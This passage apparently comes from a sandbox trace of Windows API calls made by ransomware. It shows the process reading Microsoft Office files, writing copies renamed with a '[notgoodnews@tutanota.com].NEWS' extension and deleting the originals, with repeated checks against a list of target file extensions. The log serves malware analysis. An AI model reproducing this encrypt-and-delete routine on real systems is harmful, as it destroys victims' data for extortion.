lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.247] WriteFile (in: hFile=0x370, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10c, lpOverlapped=0x0) returned 1 [0174.247] SetEndOfFile (hFile=0x370) returned 1 [0174.248] CloseHandle (hObject=0x370) returned 1 [0174.248] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.248] SetEndOfFile (hFile=0x4e8) returned 1 [0174.263] CloseHandle (hObject=0x4e8) returned 1 [0174.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.761] lstrlenW (lpString=".doc") returned 4 [0174.761] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.761] lstrlenW (lpString=".docx") returned 5 [0174.761] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.761] lstrlenW (lpString=".pdf") returned 4 [0174.761] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.761] lstrlenW (lpString=".xls") returned 4 [0174.761] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.761] lstrlenW (lpString=".xlsx") returned 5 [0174.761] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.761] lstrlenW (lpString=".ppt") returned 4 [0174.761] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".zip") returned 4 [0174.762] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".rar") returned 4 [0174.762] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".bz2") returned 4 [0174.762] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".7z") returned 3 [0174.762] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".dbf") returned 4 [0174.762] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".1cd") returned 4 [0174.762] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".jpg") returned 4 [0174.762] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".doc") returned 4 [0174.762] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".docx") returned 5 [0174.762] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.762] lstrlenW (lpString=".pdf") returned 4 [0174.762] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".xls") returned 4 [0174.762] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString=".xlsx") returned 5 [0174.762] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.762] lstrlenW (lpString=".ppt") returned 4 [0174.762] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.762] lstrlenW (lpString=".zip") returned 4 [0174.763] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.763] lstrlenW (lpString=".rar") returned 4 [0174.763] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.763] lstrlenW (lpString=".bz2") returned 4 [0174.763] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.763] lstrlenW (lpString=".7z") returned 3 [0174.763] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.763] lstrlenW (lpString=".dbf") returned 4 [0174.763] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.763] lstrlenW (lpString=".1cd") returned 4 [0174.763] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0174.763] lstrlenW (lpString=".jpg") returned 4 [0174.763] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.763] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0174.763] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28 [0174.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0174.782] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=621986) returned 1 [0174.782] CloseHandle (hObject=0x3ac) returned 1 [0174.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0174.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0174.793] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.793] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0174.796] GetLastError () returned 0x0 [0174.796] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x97da2, lpOverlapped=0x0) returned 1 [0175.105] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x97db0, lpOverlapped=0x0) returned 1 [0175.117] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.117] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10c, lpOverlapped=0x0) returned 1 [0175.117] SetEndOfFile (hFile=0x4f4) returned 1 [0175.612] CloseHandle (hObject=0x4f4) returned 1 [0175.807] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.807] SetEndOfFile (hFile=0x3ac) returned 1 [0175.831] CloseHandle (hObject=0x3ac) returned 1 [0175.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString=".doc") returned 4 [0176.270] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.270] lstrlenW (lpString=".docx") returned 5 [0176.270] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.270] lstrlenW (lpString=".pdf") returned 4 [0176.270] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.270] lstrlenW (lpString=".xls") returned 4 [0176.270] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.270] lstrlenW (lpString=".xlsx") returned 5 [0176.270] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.270] lstrlenW (lpString=".ppt") returned 4 [0176.270] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString=".zip") returned 4 [0176.270] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.270] lstrlenW (lpString=".rar") returned 4 [0176.270] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.270] lstrlenW (lpString=".bz2") returned 4 [0176.270] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.270] lstrlenW (lpString=".7z") returned 3 [0176.270] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString=".dbf") returned 4 [0176.270] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString=".1cd") returned 4 [0176.270] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString=".jpg") returned 4 [0176.270] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.271] lstrlenW (lpString=".doc") returned 4 [0176.271] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.271] lstrlenW (lpString=".docx") returned 5 [0176.271] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.271] lstrlenW (lpString=".pdf") returned 4 [0176.271] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.271] lstrlenW (lpString=".xls") returned 4 [0176.271] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.271] lstrlenW (lpString=".xlsx") returned 5 [0176.271] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.271] lstrlenW (lpString=".ppt") returned 4 [0176.271] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.271] lstrlenW (lpString=".zip") returned 4 [0176.271] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.271] lstrlenW (lpString=".rar") returned 4 [0176.271] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.271] lstrlenW (lpString=".bz2") returned 4 [0176.271] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.271] lstrlenW (lpString=".7z") returned 3 [0176.271] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.271] lstrlenW (lpString=".dbf") returned 4 [0176.271] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.271] lstrlenW (lpString=".1cd") returned 4 [0176.271] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0176.274] lstrlenW (lpString=".jpg") returned 4 [0176.274] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.274] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.274] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0176.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.279] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20775) returned 1 [0176.279] CloseHandle (hObject=0x4dc) returned 1 [0176.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0176.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.279] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.279] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.283] GetLastError () returned 0x0 [0176.283] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x5127, lpOverlapped=0x0) returned 1 [0176.393] WriteFile (in: hFile=0x550, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x5130, lpOverlapped=0x0) returned 1 [0176.394] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.395] WriteFile (in: hFile=0x550, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x104, lpOverlapped=0x0) returned 1 [0176.395] SetEndOfFile (hFile=0x550) returned 1 [0176.395] CloseHandle (hObject=0x550) returned 1 [0176.395] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.395] SetEndOfFile (hFile=0x4dc) returned 1 [0176.398] CloseHandle (hObject=0x4dc) returned 1 [0176.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0176.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.399] lstrlenW (lpString=".doc") returned 4 [0176.399] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.399] lstrlenW (lpString=".docx") returned 5 [0176.399] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.399] lstrlenW (lpString=".pdf") returned 4 [0176.399] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.399] lstrlenW (lpString=".xls") returned 4 [0176.399] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.399] lstrlenW (lpString=".xlsx") returned 5 [0176.399] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.400] lstrlenW (lpString=".ppt") returned 4 [0176.400] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString=".zip") returned 4 [0176.400] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".rar") returned 4 [0176.400] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".bz2") returned 4 [0176.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".7z") returned 3 [0176.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString=".dbf") returned 4 [0176.400] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString=".1cd") returned 4 [0176.400] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString=".jpg") returned 4 [0176.400] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.400] lstrlenW (lpString=".doc") returned 4 [0176.400] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".docx") returned 5 [0176.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.400] lstrlenW (lpString=".pdf") returned 4 [0176.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".xls") returned 4 [0176.400] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.400] lstrlenW (lpString=".xlsx") returned 5 [0176.400] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.400] lstrlenW (lpString=".ppt") returned 4 [0176.400] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.401] lstrlenW (lpString=".zip") returned 4 [0176.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString=".rar") returned 4 [0176.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString=".bz2") returned 4 [0176.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString=".7z") returned 3 [0176.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.401] lstrlenW (lpString=".dbf") returned 4 [0176.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.401] lstrlenW (lpString=".1cd") returned 4 [0176.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0176.401] lstrlenW (lpString=".jpg") returned 4 [0176.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.401] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.401] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0176.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.402] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10639) returned 1 [0176.402] CloseHandle (hObject=0x4dc) returned 1 [0176.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0176.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.403] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.403] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0176.404] GetLastError () returned 0x0 [0176.404] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x298f, lpOverlapped=0x0) returned 1 [0176.446] WriteFile (in: hFile=0x550, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2990, lpOverlapped=0x0) returned 1 [0176.447] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.447] WriteFile (in: hFile=0x550, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, 